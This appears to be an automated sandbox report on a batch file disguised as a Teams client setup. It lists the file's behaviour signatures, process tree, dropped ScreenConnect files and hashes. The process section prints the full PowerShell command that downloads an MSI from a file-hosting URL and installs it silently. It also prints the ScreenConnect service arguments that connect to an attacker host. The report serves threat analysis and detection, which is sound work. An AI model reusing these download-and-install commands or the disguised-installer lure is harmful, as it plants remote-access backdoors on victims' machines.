Analysis

  • max time kernel
    149s
  • max time network
    133s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260130-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    05/05/2026, 18:25

General

  • Target
    Teams.clientsetup.bat
  • Size 1KB
  • Sample260505-w2xesadv9t
  • SHA256 e755b64cf265e7e4e4f1a1090a6df0786c68a72492aee0b116f12c27cf3e45e7
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://pixeldrain.com/api/file/Ej1A2fmE

Signatures

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 3 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 22 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Teams.clientsetup.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3336
    • C:\Windows\system32\net.exe
      net session
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3700
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 session
        3⤵
          PID:1604
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -ExecutionPolicy Bypass -Command "$ErrorActionPreference='Stop';" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 -bor [Net.SecurityProtocolType]::Tls11 -bor [Net.SecurityProtocolType]::Tls;" "$wc = New-Object System.Net.WebClient;" "$wc.Headers['User-Agent'] = 'Mozilla/5.0';" "$wc.DownloadFile('http://pixeldrain.com/api/file/Ej1A2fmE','C:\Users\Admin\AppData\Local\Temp\ScreenConnect_Installer(My_Organization).msi');"
        2⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4384
      • C:\Windows\system32\msiexec.exe
        msiexec /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect_Installer(My_Organization).msi" /qn /norestart
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:5064
    • C:\Windows\system32\msiexec.exe
      C:\Windows\system32\msiexec.exe /V
      1⤵
      • Enumerates connected drives
      • Boot or Logon Autostart Execution: Authentication Package
      • Drops file in Program Files directory
      • Drops file in Windows directory
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4996
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 73710891EE0C0BE1F66D467E4FB8A08D
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1900
        • C:\Windows\SysWOW64\rundll32.exe
          rundll32.exe "C:\Windows\Installer\MSI4D11.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240668234 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
          3⤵
          • Loads dropped DLL
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          PID:944
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 800109E49711B60C282BC42C83CB2800 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:2000
    • C:\Program Files (x86)\ScreenConnect Client (fbeb8c5b30d32c84)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (fbeb8c5b30d32c84)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=relmusk.top&p=8041&s=40199be1-48b6-44c5-a974-54e4ea6d8b95&k=BgIAAACkAABSU0ExAAgAAAEAAQA5DeSI50s5EmqOuhtcD72ltr2yjoIKiMRAxNznC96WOYkkfsr7F68AmRymH7mXLbuuN42X1tDO98IxvZHY%2foF0jQg7RZTVWa6y3UNPWZCCn6cq%2f1IDSilNt2GbSnqWrGPyXV1FCuuXG0UH%2fZxLNuX8pYB4XmQ3NfwFBm0CRLntocXsl%2bEy4pxJwh1cLv0XHkkYx0Un%2fn%2fj5j6tTuoI0KdnKzWWTVwparUeQialKkGOjC5%2b2UQmSuHfpUskjOR%2bOf2T1cfeGxShQD5HRbUxmwF%2bezF7tPEI7Q3bBfVTMIR6Gc7BN35tbP2fUF3KCLAJk1%2bRpIxQBLqakNate%2b8DDTjM"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1412
      • C:\Program Files (x86)\ScreenConnect Client (fbeb8c5b30d32c84)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (fbeb8c5b30d32c84)\ScreenConnect.WindowsClient.exe" "RunRole" "6027a8bc-cb18-47be-9fbc-ab4311ab3985" "User"
        2⤵
        • Executes dropped EXE
        PID:4660
      • C:\Program Files (x86)\ScreenConnect Client (fbeb8c5b30d32c84)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (fbeb8c5b30d32c84)\ScreenConnect.WindowsClient.exe" "RunRole" "f20c7c72-89a2-449f-a8f5-17be41053394" "System"
        2⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:1076

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e584bbd.rbs

          • Path C:\Config.Msi\e584bbd.rbs
          • Size 214KB
          • SHA256 2edcec958723134902aa1553d26afdd4a4a5aef8c9bd21138666b48a192fd501
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (fbeb8c5b30d32c84)\Client.Override.en-US.resources
          • Size 298B
          • SHA256 ef989c4bd277b1849fd13dfe1cfcf5308c20e994190f74cd8604d8dfb8993ff2
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (fbeb8c5b30d32c84)\Client.Override.resources
          • Size 40KB
          • SHA256 b6018ab4c594476acc5df46ae98944cb7dc0b4e20e913cadd13075570774fad2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (fbeb8c5b30d32c84)\Client.en-US.resources
          • Size 48KB
          • SHA256 6a000a67799a071883b6e25f86d91c2c513aae0b34b3643be77e5b889335fb95
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (fbeb8c5b30d32c84)\Client.resources
          • Size 28KB
          • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (fbeb8c5b30d32c84)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (fbeb8c5b30d32c84)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (fbeb8c5b30d32c84)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (fbeb8c5b30d32c84)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (fbeb8c5b30d32c84)\ScreenConnect.WindowsClient.exe
          • Size 593KB
          • SHA256 b80d07610b81bddb3d7f30a207a2e134b559e06b8440598a926f3a9c1d439218
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (fbeb8c5b30d32c84)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (fbeb8c5b30d32c84)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (fbeb8c5b30d32c84)\app.config
          • Size 1KB
          • SHA256 b5e7754b24d9e4e2f638be17b7f2ea2c3bb6f9ded1ce858f90a5dfe53019dad6
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (fbeb8c5b30d32c84)\system.config
          • Size 939B
          • SHA256 841e2951381f2975cff726a5ad3689bb7798a7a626ad1b434bcdb711411071d9
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect_Installer(My_Organization).msi

          • Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect_Installer(My_Organization).msi
          • Size 12.9MB
          • SHA256 b633738e21884f4c205ff2ccee9127a82ed24be4bab09b0c4d499577ac5d711f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          __PSScriptPolicyTest_kskzlham.e54.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kskzlham.e54.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          MSI4D11.tmp

          • Path C:\Windows\Installer\MSI4D11.tmp
          • Size 1.0MB
          • SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Windows\Installer\MSI4D11.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Windows\Installer\MSI4D11.tmp-\ScreenConnect.Core.dll
          • Size 538KB
          • SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Windows\Installer\MSI4D11.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Windows\Installer\MSI4D11.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI536C.tmp

          • Path C:\Windows\Installer\MSI536C.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/944-39-0x0000000002680000-0x000000000268A000-memory.dmp

          memory/944-43-0x0000000004AC0000-0x0000000004B4C000-memory.dmp

          memory/944-35-0x0000000002640000-0x000000000266E000-memory.dmp

          memory/944-47-0x0000000004D00000-0x0000000004EAC000-memory.dmp

          memory/944-54-0x00000000020F0000-0x00000000021C3000-memory.dmp

          memory/944-48-0x0000000005460000-0x0000000005A04000-memory.dmp

          memory/1076-140-0x0000000000870000-0x000000000087C000-memory.dmp

          memory/1412-100-0x00000000047C0000-0x0000000004810000-memory.dmp

          memory/1412-89-0x0000000004180000-0x0000000004198000-memory.dmp

          memory/1412-104-0x0000000004810000-0x0000000004846000-memory.dmp

          memory/1412-105-0x00000000048F0000-0x0000000004982000-memory.dmp

          memory/1412-109-0x0000000004850000-0x0000000004891000-memory.dmp

          memory/1412-111-0x0000000004AD0000-0x0000000004BA5000-memory.dmp

          memory/4384-1-0x000001BBF5500000-0x000001BBF5510000-memory.dmp

          memory/4384-7-0x000001BBF5330000-0x000001BBF5352000-memory.dmp

          memory/4384-0-0x000001BBF5500000-0x000001BBF5510000-memory.dmp

          memory/4384-13-0x000001BBF4DE0000-0x000001BBF4DEC000-memory.dmp

          memory/4660-130-0x000000001B1E0000-0x000000001B216000-memory.dmp

          memory/4660-129-0x0000000000660000-0x00000000006F8000-memory.dmp

          memory/4660-132-0x000000001B7F0000-0x000000001B99C000-memory.dmp

          memory/4660-131-0x000000001B5B0000-0x000000001B63C000-memory.dmp

          memory/4660-135-0x000000001B9A0000-0x000000001BB26000-memory.dmp

          memory/4660-136-0x0000000002880000-0x0000000002898000-memory.dmp

          memory/4660-137-0x00000000028C0000-0x00000000028D8000-memory.dmp

          memory/4660-141-0x0000000000BF0000-0x0000000000BFC000-memory.dmp